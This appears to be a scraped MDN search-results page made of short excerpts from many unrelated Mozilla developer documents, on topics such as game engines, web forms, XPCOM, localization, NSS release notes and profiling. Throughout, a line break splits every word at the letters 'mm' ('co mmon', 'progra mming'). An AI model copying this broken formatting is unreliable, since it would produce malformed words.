... ns_imethod getflags(pruint32 *aflags) {*aflags = nsiclassinfo::plugin_object | nsiclassinfo::dom_object; return ns_ok;} ns_imethod getimplementationlanguage(pruint32 *aimplementationlanguage) {*aimplementationlanguage = nsiprogra
mminglanguage::cplusplus; return ns_ok;} // the rest of the methods can safely return error codes...
...ranganathan last updated date: october 26, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Examples - Game development
browserquest a
mmorpg created by the little workshop and mozilla.
... classic platformer canvas 2d game based on `visual-ts game engine` - physics based on matter.js co
mmercial games oort online a
mmo exploration, building, and battle game (currently in development.) a wizard's lizard top down zelda-esque exploration/rpg.
... rpg mo isometric
mmorpg with similarities to runescape classic and ultima.
... animation physics 3d rendering of terrain and cars, using a
mmo.js for the physics calculations.
3D games on the Web - Game development
the most popular javascript 3d library is three.js, a multi-purpose tool that makes co
mmon 3d techniques simpler to implement.
... there are other popular game development libraries and frameworks worth checking too; a-frame, playcanvas and babylon.js are among the most recognizable ones with rich documentation, online editors and active co
mmunities.
...as with any other 3d library, it provides built-in functions to help you implement co
mmon 3d functionality more quickly.
...you can build i
mmersive, beautiful and fast 3d games on the web using webgl, and the libraries and frameworks build on top of it.
Efficient animation for web games - Game development
it is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used ui libraries, for example) that they aren’t necessarily co
mmon knowledge.
... help the browser help you if you are using dom for your ui, which i would certainly reco
mmend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
...we would reco
mmend keeping track of when requestanimationframe has been called and only having a single handler for it.
...to begin with, the priority was to write the code quickly to iterate on gameplay (and we’d certainly reco
mmend doing this).
Visual-js game engine - Game development
2) you are free to use any version of visual js library in any other project (even co
mmercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special co
mmercial licence).
...http://creativeco
mmons.org/licenses/by-nc-sa/3.0/ download from : https://www.adobe.com/devnet/archive/html5/articles/javascript-motion-detection.html webrtc - webcam co
mmunication is under : creator muaz khan www.muazkhan.com mit license - www.webrtc-experiment.com/licence socket.io.js - http://socket.io/download/ ( also implemented intro build.js ) webgl2 based on : copyright (c) 2014 ta...
...ppali ekanathan keestu (keestu@gmail.com) gnu general public license obj loader : https://github.com/frenchtoast747/webgl-obj-loader textures download from http://textures.com more texture downloads http://www.textures4photoshop.com/ female body v3.blend this file has been released by andrescuccaro under the following license: creative co
mmons attribution 3.0 about gui for windows (canvas2d part only) : windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ?
...server part of application (important : www is not secure place) 4) select folder for client part of application ( any path in www) 5) new app name will appear in project list , select and click open application 6) open your server folder : install node.js modules one way - use windows bat-s file (in server root folder with prefix install_ ) second way - open cmd terminal and enter next co
mmand : npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 very easy installation and project files generator .
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
an iife (i
mmediately invoked function expression) is a javascript function that runs as soon as it is defined.
... the second part creates the i
mmediately invoked function expression () through which the javascript engine will directly interpret the function.
... examples the function becomes a function expression which is i
mmediately executed.
... var result = (function () { var name = "barry"; return name; })(); // i
mmediately creates the output: result; // "barry" ...
Accessible multimedia - Learn web development
in terms of actually creating the transcript, your options are: co
mmercial services — you could pay a professional to do the transcription, see for example companies like scribie, casting words, or rev.
... co
mmunity/grass roots/self transcription — if you are part of an active co
mmunity or team in your workplace, then you could ask them for help with doing the translations.
...if for example you are dealing with an i
mmersive 3d game or virtual reality app, it really is quite difficult to provide text alternatives for such an experience, and you might argue that blind users are not really in the target audience bracket for such apps.
... su
mmary this chapter has provided a su
mmary of accessibility concerns for multimedia content, along with some practical solutions.
Test your skills: Other controls - Learn web development
associate it semantically with the provided "co
mment" label.
... give the input 35 columns, and 10 rows of space in which to add co
mments.
... give the co
mments a maximum length of 100 characters.
... associate it semantically with the provided "co
mment" label.
Your first form - Learn web development
forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to i
mmediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature).
... form controls can also be progra
mmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted and blind users.
... a click on a reset button resets all the form widgets to their default value i
mmediately.
... su
mmary congratulations, you've built your first web form.
Choosing the right approach - Learn web development
previous overview: asynchronous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with reco
mmendations and reminders of co
mmon pitfalls where appropriate.
... objective: to be able to make a sound choice of when to use different asynchronous progra
mming techniques.
... further information graceful asynchronous progra
mming with promises using promises promise reference promise.all() a javascript feature that allows you to wait for multiple promises to complete before then running a further operation based on the results of all the other promises.
... further information making asynchronous progra
mming easier with async and await async function reference await operator reference previous overview: asynchronous in this module general asynchronous progra
mming concepts introducing asynchronous javascript cooperative asynchronous javascript: timeouts and intervals graceful asynchronous progra
mming with promises making asynchronous progra
mming easier with async and await choosi...
Asynchronous JavaScript - Learn web development
if you are not familiar with the concept of asynchronous progra
mming, you should definitely start with the general asynchronous progra
mming concepts article in this module.
... guides general asynchronous progra
mming concepts in this article we'll run through a number of important concepts relating to asynchronous progra
mming, and how this looks in web browsers and javascript.
... making asynchronous progra
mming easier with async and await promises can be somewhat complex to set up and understand, and so modern browsers have implemented async functions and the await operator.
... choosing the right approach to finish this module off, we'll consider the different coding techniques and features we've discussed throughout, looking at which ones you should use when, with reco
mmendations and reminders of co
mmon pitfalls where appropriate.
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very co
mmon task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... effectively, the function passed into then() is a chunk of code that won't run i
mmediately.
...we won't discuss all of it in the article, but you can find extensive co
mments in the code (see can-script.js).
... su
mmary this article shows how to start working with both xhr and fetch to fetch data from the server.
Object building practice - Learn web development
the context is like the paper, and now we want to co
mmand our pen to draw something on it: first, we use beginpath() to state that we want to draw a shape on the paper.
... i
mmediately inside the for loop, we use an if statement to check whether the current ball being looped through is the same ball as the one we are currently checking.
... we then use a co
mmon algorithm to check the collision of two circles.
... su
mmary we hope you had fun writing your own real world random bouncing balls example, using various object and object-oriented techniques from throughout the module!
Routing in Ember - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...to do this you’ll need to enter the following co
mmands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third co
mmands should have not only generated new files, but also updated an existing file, app/router.js.
... it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd co
mmands above were run.
... su
mmary congratulations!
React resources - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
... it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make i
mmediate changes to your application.
...they're still the only way to handle certain other, more edge-case features, and they’re very co
mmon in legacy react projects.
... the react co
mmunity has produced two major libraries for client-side routing: react router and reach router.
Styling Vue components with CSS - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...vue has three co
mmon approaches to styling apps: external css files.
... update it as follows: <ul aria-labelledby="list-su
mmary" class="stack-large"> adding scoped styles the last component we want to style is our todoitem component.
... su
mmary our work is done on the styling of our sample app.
Implementing feature detection - Learn web development
let's recap and look at the example we touched on in our handling co
mmon javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...generally, such tests are done via one of the following co
mmon patterns: su
mmary of javascript feature detection techniques feature detection type explanation example if member in object check whether a certain method or property (typically an entry point into using the api or other feature you are detecting for) exists in its parent object.
... su
mmary this article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the modernizr library to implement tests more easily.
... previous overview: cross browser testing next in this module introduction to cross browser testing strategies for carrying out testing handling co
mmon html and css problems handling co
mmon javascript problems handling co
mmon accessibility problems implementing feature detection introduction to automated testing setting up your own test automation environment ...
Accessible Toolkit Checklist
please contact the mozilla accessibility co
mmunity with questions or feedback.
...since the individual widgets predominately come from the operating system, they already implement standard keyboard co
mmands and follow the operating system's visual theme.
...it is maintained by the mozilla accessibility co
mmunity.
... supporting the basic msaa states on every item: unavailable, focused, readonly, offscreen, focusable to avoid extra work, utilize implementing an msaa server mnemonics ability to define in xml for any widget with a text label (via attribute or a preceding char in label) automatically define mnemonics for all standard co
mmon dialogs (like yes/no confirmations and retry/exit error dialogs) support mnemonics in dialogs created via method calls layout engine - drawing underline under correct letter events - making keystrokes do the right thing msaa support, via iaccessible's get_acckeyboardshortcut support for ms windows settings when high contrast checkbox is set (in acces...
Accessibility and Mozilla
in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility co
mmunity with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
... gecko info for windows accessibility vendorsplease contact the mozilla accessibility co
mmunity.information for assistive technology vendorsboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility co
mmunity.
Theme concepts
you can, however, progra
mmatically include a theme in an extension using the theme api.
... you can also animate themes progra
mmatically, which we discuss in dynamic themes.
... create a dynamic theme that changes under progra
mmatic control.
... and, obviously, you can combine the two and bundle a progra
mmatically controlled theme with your extension.
Add-ons
among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most co
mmon type are extensions.
...you’ll find: overview of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer co
mmunities extensions for firefox for android in 2020, mozilla will release a new firefox for android experience.
... publishing add-ons addons.mozilla.org, co
mmonly known as "amo," is mozilla's official site for developers to list add-ons, and for users to discover them.
... by uploading your add-on to amo, you can participate in our co
mmunity of users and creators and find an audience for your add-on.
Android-specific test suites
android-findbugs ensures that the code avoids co
mmon java coding errors.
... android-lint ensures that the code avoids co
mmon android coding errors.
... android-findbugs ensures that the code avoids co
mmon java coding errors.
... android-lint ensure that the code avoids co
mmon android coding errors.
Debugging JavaScript
you can also start the browser console when you launch firefox, by launching firefox from the co
mmand line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...(the pref also warns on co
mmon javascript idioms that are not errors).
... under microsoft windows you additionally need to start firefox via the following co
mmand to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject().
...with gdb setting up an extension development environment (particularly development preferences and development extensions) original document information author(s): ben bucksch created date: september 12, 2005, last updated date: november 10, 2009 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Makefile - variables
extra_components nsdefaultclh.manifest, javascript xpco
mm files extra_dso_libs extra_dso_ldopts extra_js_modules extra_pp_components xpco
mm files to pre-process before installation.
... global_deps a list of co
mmon dependencies (makefile.in, autoconf.mk) that will force rebuilding.
... xpidl_name name of extension to build see also configure.sh variables description build_project_arg co
mmand line/environment override configure_env_args co
mmand line/environment override directory variable dirs a list of subdirectories to build recursively.
... host_ variable description host_cmsrcs a list of .m sources to compile host_c
mmsrcs a list of .
mm sources to compile host_objs host_os_arch arch of real platform a target platform is being built on(building mobile binaries on gnu/linux).
Experimental features in Firefox
nightly 44 no developer edition 44 no beta 44 no release 44 no preference name gfx.offscreencanvas.enabled hit regions whether the mouse coordinates are within a particular area on the canvas is a co
mmon problem to solve.
... nightly 73 no developer edition 73 no beta 73 no release 73 no preference name dom.webgpu.enabled html dom api global event: beforeinput the global beforeinput event is sent to an <input> element—or any element whose contenteditable attribute is enabled—i
mmediately before the element's value changes.
...however, because firefox doesn't currently suport multiple audio and video tracks, the most co
mmon use cases for these properties don't work, so they're both disabled by default.
... nightly 72 no developer edition 72 no beta 72 no release 72 no preference name devtools.inspector.color-scheme-simulation.enabled execution context selector this feature displays a button on the console's co
mmand line that lets you change the context in which the expression you enter will be executed.
mozbrowsercaretstatechanged
co
mmands an object that defines what co
mmands can currently be executed in the browser <iframe>.
... its properties are canselectall: a boolean indicating whether the selectall co
mmand is available (true) or not (false.) cancut: a boolean indicating whether the cut co
mmand is available (true) or not (false.) cancopy: a boolean indicating whether the copy co
mmand is available (true) or not (false.) canpaste: a boolean indicating whether the paste co
mmand is available (true) or not (false.) reason a domstring that defines the reason for the state being changed.
... senddoco
mmandmsg a method allowing you to issue a co
mmand via an anonymouse function, i.e.
... function(co
mmand).
Overview of Mozilla embedding APIs
contract-id: ns_webbrowser_contractid implemented interfaces: nsiwebbrowser nsiwebnavigation nsiwebbrowsersetup nsiwebbrowserpersist nsiwebbrowserfind nsiwebbrowserprint nsiwebbrowserfocus nsibasewindow requestor interfaces: nsidomwindow nsidomdocument nsiwebprogress nsiclipboardco
mmands nsiprompt related interfaces: nsiprompt nsiwebbrowserchrome nsiwebbrowsersitewindow nsiwebprogresslistener nsicontextmenulistener nsiprintoptions overview: most of gecko's functionality is exposed through the nswebbrowser component.
...clipboard the webbrowser exposes access to the system clipboard via the nsiclipboardco
mmands interface.
...interface definition: nsiclipboardco
mmands interface status...
...interface definition: defining new xpcom components original document information author(s): rpotts, alecf, oeschger at netscape.com last updated date: march 5, 2003 copyright information: creative co
mmons ...
Embedding Tips
obtain the nsiclipboardco
mmands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method).
...this is reco
mmended if you intend anything other than the uri or document your browser is looking at.
... when setting up your browser add a hook to the co
mmand manager which points to your nsiwebbrowserchrome implementation.
... nscomptr<nsico
mmandmanager> co
mmandmanager = do_getinterface(iwebbrowser); if (co
mmandmanager) { nscomptr<nsidomwindow> thedomwindow = do_getinterface(iwebbrowser); nscomptr<nsico
mmandparams> cmdparamsobj = do_createinstance(ns_co
mmand_params_contractid,&rv); cmdparamsobj->setisupportsvalue("addhook", reinterpret_cast<nsisupports*>(ichromeimplementation)); co
mmandmanager->doco
mmand("cmd_clipboarddragdrophook", cmdparamsobj, thedomwindow); } ...
Script security
this javascript code, which is co
mmonly referred to as chrome code, runs with system privileges.
...therefore there's no need for any security checks, there are no wrappers, and there is no performance overhead for the co
mmon case of objects in a single window interacting with each other.
... cross-compartment access same-origin as we've already seen, the most co
mmon scenario for same-origin access is when objects belonging to the same window object interact.
...(this is what is used when html5 and other specs say "origin is a globally unique identifier".) principal relationships the diagram below su
mmarizes the relationships between the different principals.
Extending a Protocol
so co
mmunication can go in both directions.
...unfortunately, it's not really fully documented anywhere - and the ipdl parser gets easily confused (hence us excluding co
mments below).
... defining echochild.h create ./dom/ipc/echochild.h, and define it as follows - the inline co
mments describe what's going on: #ifndef mozilla_dom_echochild_h #define mozilla_dom_echochild_h // we include the protocol, which is automatically generated for us.
... defining echoparent.h like before, create ./dom/ipc/echoparent.h, and code it as follows - the inline co
mments describe what's going on.
Implementing QueryInterface
it tests for bad input with an ns_assertion, to find logic errors i
mmediately in debug builds.
...the ns_impl_query_interface2 macro can write this function for you (though it pains me to reco
mmend macros), e.g., ns_impl_query_interface2(nsmyimplementation, nsix, nsiy) // implements |nsmyimplementation::queryinterface| as above ns_impl_query_interface1(nsfoo, nsifoo) // |nsfoo::queryinterface| provides |nsifoo| and |nsisupports| ns_impl_query_interface0(nsbar) // |nsbar::queryinterface| can only provide an |nsisupports| similarly, you can use the macro ns_impl_query_interface1 when you implement only one additional interface; and ns_impl_query_interface0 when you only implement nsisupports.
...in this case the macro is for convenience only, so i don't reco
mmend it, but i do offer it up as an alternative.
... original document information author(s): scott collins last updated date: may 8, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Introduction to Layout in Mozilla
non-geometric information may be shared by adjacent frames reference counted, owned by frame view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed progra
mmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
...(tables, blocks, xul boxes) reflow “global” reflows initial, resize, style-change processed i
mmediately via presshell method incremental reflows targeted at a specific frame dirty, content-changed, style-changed, user-defined nshtmlreflowco
mmand object encapsulates info queued and processed asynchronously, nsipressshell::appendreflowco
mmand, processreflowco
mmands incremental reflow recursively descend to target recovering reflow state ...
... child rs.reason set to incremental incremental reflow process reflow “normally” at target frame child rs.reason set based on rc’s type incremental reflow propagate damage to frames later “in the flow” incremental reflow multiple reflow co
mmands are batched nsreflowpath maintains a tree of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless i
mmediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to widget; widget delegates to the view manager view manager paints views back-to-front, invoking presshell’s paint method pres...
... original document information author(s): chris waterson last updated date: june 10, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Webapps.jsm
(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersyste
mmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersyste
mmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeractivitiesforapps: function(aappstoregister, arunupdate) _registera...
...ctivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, a
mm) removemessagelistener: function(amsgnames, a
mm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath,...
... adata) dogetlist: function() doexport: function(amsg, a
mm) doimport: function(amsg, a
mm) doextractmanifest: function(amsg, a
mm) dolaunch: function (adata, a
mm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, a
mm) doinstall: function doinstall(adata, a
mm) doinstallpackage: function doinstallpackage(adata, a
mm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: functio...
..., azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, a
mm) checkinstalled: function(adata, a
mm) getinstalled: function(adata, a
mm) getnotinstalled: function(adata, a
mm) geticon: function(adata, a
mm) getall: function(acallback) isreceipt: function(data) addreceipt: function(adata, a
mm) removereceipt: function(adata, a
mm) replacereceipt: function(adata, a
mm) setenabled: function(adata) getmanifestfor: function(amanifesturl, aentrypoint) getapp...
Localization notes
localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add co
mments to the localizable files themselves, too.
... these co
mments are generally referred to as localization notes.
...there are a number of automated tools that parse these co
mments for easier access and use by localizers.
... dtd files <!-- localization note (entity name): co
mment --> properties files # localization note (key): co
mment file-wide co
mments should use the same format, be at the top of the file (after the license header, though) and just drop the (entity name/key) reference.
Localizing XLIFF files for iOS
enter the co
mmand git clone https://github.com/mozilla-l10n/firefoxios-l10n/your-locale-code/ you should now see the firefox-ios project in your selected directoy with the firefox-ios.xliff file in it.
... <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> <target>agregar a marcadores</target> <note>no co
mment provided by engineer.</note> </trans-unit> save your translations along the way.
... co
mmiting your xliff file using this co
mmand, co
mmit your translated xliff file into your locale's directory: git co
mmit -m "co
mmit message here" .
... push your co
mmit into the github repo: git push kick up your feet, pop open a cold beer (or soda), and pat yourself on the back for doing something new, different, and exciting!
What every Mozilla translator should know
discussions of interest to the general mozilla developer co
mmunity are at least notified here.
...for every branch and every locale, there is a separate repository for localization files co
mmitted by the localizers.
...when you co
mmit the changes you must write in the co
mment the bug number, what you have changed and who has approved.
... for example: bug 12345, fix typos and resize prefwindow, a=l10n as soon as you have co
mmitted, put the bug in fixed state and write fixed1.8.xxx in the keyword field you have to verify in the next build that the changes have been successful.
Investigating leaks using DMD heap scan mode
secondly, you may need to co
mment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow.
... the co
mmand you need to run firefox will look something like this: xpcom_mem_bloat_log=1 moz_cc_log_shutdown=1 moz_disable_content_sandbox=t moz_cc_log_directory=$logdir moz_cc_log_process=content moz_cc_log_thread=main moz_dmd_shutdown_log=$logdir moz_dmd_log_process=tab ./mach run --dmd --mode=scan breaking this down: xpcom_mem_bloat_log=1: this reports a list of the counts of every object created ...
... with that co
mmand line in hand, you can start firefox.
...the co
mmand to invoke this looks like this: python $heapgraph/find_roots.py $cclog $winaddr this may take a few seconds.
Gecko Profiler FAQ
this mode is usually reco
mmended when you want to find a thread you want to do more focused profiling on, so that you can find its name and then construct a more useful thread filter string based on the found thread name.
... for isolated profiles i reco
mmend profiling a separate browser instance with only the tab that you’re interested in.
... what are the reco
mmended native profilers across all os's?
... and don’t forget that if you’re interested in finding io slowness issues, profiling on a machine with a fast ssd isn’t reco
mmended.
Power profiling overview
this is a misleading term — the active state, c0, is also a c-state — but one that is nonetheless co
mmon.
...co
mmon causes of wakeups include scheduled timers going off and blocked i/o system calls receiving data.
... devices such as a
mmeters give the best results, but these can be expensive and difficult to set up.
... of these, tools/power/rapl is generally the easiest and best to use because it reads all power planes, it's a co
mmand line utility, and it doesn't measure anything else.
TraceMalloc
the built mozilla application will support the following additional co
mmand-line options: --trace-malloc filename the application will log allocation and deallocation events with stack traces in a binary format to the given file.
...if logfd identifies the current log file, change the current log file to the default log file given by the --trace-malloc co
mmand line argument.
... see nstracemalloc.h for detailed co
mments on the log file format.
...ignore the allocations log, and run leaksoup over the memory dump (which is a dump of all allocations still live at shutdown) with a co
mmand such as ./run-mozilla.sh ./leaksoup sdleak.log > sdleak.html.
A guide to searching crash reports
fields are provided for four co
mmon search criteria: product, version, platform, and process type.
... the product field is pre-populated with "firefox" because that is a co
mmon case.
... this i
mmediately shows which moz_crash calls are being hit frequently by users.
... there is also an api through which searches can be performed progra
mmatically.
McCoy
this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly reco
mmended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost!
...it is strongly reco
mmended that you use a password to protect your mccoy data.
... signing from co
mmand line currently there is no support to run mccoy from co
mmand line under windows, but it is planned to add this support in the future.
... however, there are several external and unofficial tools which enable signing from co
mmand line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout rev 222, later revisions are not working in mccoy!
Creating a Cookie Log
enabling cookie logging windows open a co
mmand prompt (this is under programs or programs/accessories in normal installations of windows).
... linux start a co
mmand shell (these instructions are for bash, if you use something else, you probably know how to modify these instructions already).
...close out of the co
mmand prompt/shell/terminal, and then launch firefox normally.
... original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Anonymous Shared Memory
first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_me
mmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ...
...started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_me
mmap(fm); ...
...pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_me
mmap(fm); ...
...application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_me
mmap(fm); ...
NSS_3.12_release_notes.html
or_unknown_aia_location_type sec_error_bad_http_response sec_error_bad_ldap_response sec_error_failed_to_encode_data sec_error_bad_info_access_location sec_error_libpkix_internal new mechanism flags (see secmod.h) public_mech_aes_flag public_mech_sha256_flag public_mech_sha512_flag public_mech_camellia_flag new oids (see secoidt.h) new ec signature oids sec_oid_ansix962_ecdsa_signature_reco
mmended_digest sec_oid_ansix962_ecdsa_signature_specified_digest sec_oid_ansix962_ecdsa_sha224_signature sec_oid_ansix962_ecdsa_sha256_signature sec_oid_ansix962_ecdsa_sha384_signature sec_oid_ansix962_ecdsa_sha512_signature more id-ce and id-pe oids from rfc 3280 sec_oid_x509_hold_instruction_code sec_oid_x509_delta_crl_indicator sec_oid_x509_issuing_distribution_point sec_oid_x509_cert_issuer se...
... link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when system clock is off by more than two days, oscp check fails, can result in crash if user tries to view certificate [[@ secitem_compareitem_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous co
mments in der_asciitotime bug 422866: vfychain -pp co
mmand crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() ...
... on all unix-ish platforms bug 390710: certnameconstraintstemplate is incorrect bug 416928: der decode error on this policy extension bug 375019: cache-enable pkix_ocspchecker_check bug 391454: libpkix does not honor nss's override trust flags bug 403682: cert_pkixverifycert never succeeds bug 324744: add generation of policy extensions to certutil bug 390973: add long option names to secu_parseco
mmandline bug 161326: need api to convert dotted oid format to/from octet representation bug 376737: cert_importcerts routinely sets valid_peer or valid_ca override trust flags bug 390381: libpkix rejects cert chain when root ca cert has no basic constraints bug 391183: rename libpkix error string number type to pkix error number types bug 397122: nss 3.12 alpha treats a key3.db with no global salt ...
...ss_enable_ecc defines from manifest.mn bug 412906: remove sha.c and sha.h from lib/freebl bug 353543: valgrind uninitialized memory read in nsspkiobjectcollection_addinstances bug 377548: nss qa test program certutil's default dsa prime is only 512 bits bug 333405: item cleanup is unused deadcode in secitem_allocitem loser bug 288730: compiler warnings in certutil bug 337251: warning: /* within co
mment bug 362967: export secmod_deletemoduleex bug 389248: nss build failure when nss_enable_ecc is not defined bug 390451: remembered passwords lost when changing master password bug 418546: reference leak in cert_pkixverifycert bug 390074: os/2 sign.cmd doesn't find sqlite3.dll bug 417392: certutil -l -n reports bogus trust flags documentation for a list of the primary nss documentation pages o...
NSS 3.15.4 release notes
users are encouraged to upgrade i
mmediately.
... added the --empty-password co
mmand-line option to certutil, to be used with -n: use an empty password when creating a new database.
... added the -w co
mmand-line option to pp: don't wrap long output lines.
... new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_reco
mmendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
NSS 3.16.2 release notes
notable changes in nss 3.16.2 the btoa co
mmand has a new co
mmand-line option -w suffix, which causes the output to be wrapped in begin/end lines with the given suffix.
... the certutil co
mmands supports additionals types of subject alt name extensions: --extsan type:name[,type:name]...
... the certutil co
mmands supports generic certificate extensions, by loading binary data from files, which have been prepared using external tools, or which have been extracted and dumped to file from other existing certificates: --dump-ext-val oid --extgeneric oid:critical-flag:filename[,oid:critical-flag:filename]...
... the certutil co
mmand has three new certificate usage specifiers: l: certificateusagesslca a: certificateusageanyca y: certificateusageverifyca the pp co
mmand has a new co
mmand-line option -u, which means "use utf-8".
NSS sources building testing
create a new directory on your computer that you will use as your local work area, and run the following co
mmands.
... hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above co
mmands complete, you should have two local directories, named nspr and nss, next to each other.
...as a test, it must be possible to successfully use the co
mmand "ping $host.$domsuf" on your computer (ping reports receiving replies).
... once the test suite has completed, a su
mmary will be printed that shows the number of failures.
nss tech note1
despite their differences, the two decoders have a lot in co
mmon.
...for this reason, i will first describe all the co
